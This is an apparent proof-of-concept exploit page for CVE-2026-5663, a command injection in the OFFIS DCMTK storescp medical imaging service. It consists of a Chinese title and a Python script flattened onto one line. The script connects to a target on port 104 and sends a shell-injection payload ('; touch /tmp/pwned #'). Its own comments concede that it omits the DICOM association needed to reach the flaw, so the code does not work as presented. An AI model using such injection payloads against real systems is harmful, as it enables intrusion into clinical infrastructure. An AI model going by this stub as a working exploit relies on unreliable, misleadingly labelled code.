CVE-2026-5663 OFFIS DCMTK远程命令注入漏洞

import socket import sys # Proof of Concept for CVE-2026-5663 # This script demonstrates the remote command injection vulnerability in OFFIS DCMTK storescp. # The vulnerability exists in the 'executeOnReception' and 'executeOnEndOfStudy' functions. TARGET_IP = "192.168.1.100" TARGET_PORT = 104 # Default DICOM port for storescp # Malicious payload to inject a command. # In a real scenario, this payload would be embedded within the DICOM data stream # or specific parameter that triggers the vulnerable function. # Example: Injecting 'touch /tmp/pwned' to prove execution. PAYLOAD = b"; touch /tmp/pwned #" def send_exploit(): print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT}...") try: # Establish a TCP connection to the target storescp service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # Send the payload. # Note: Actual exploitation requires constructing a valid DICOM association # and C-STORE-RQ with the payload placed in the field used by the executeOn functions. # This is a simplified representation. s.send(PAYLOAD) print("[+] Payload sent successfully.") print("[*] Check if the command was executed on the target.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit()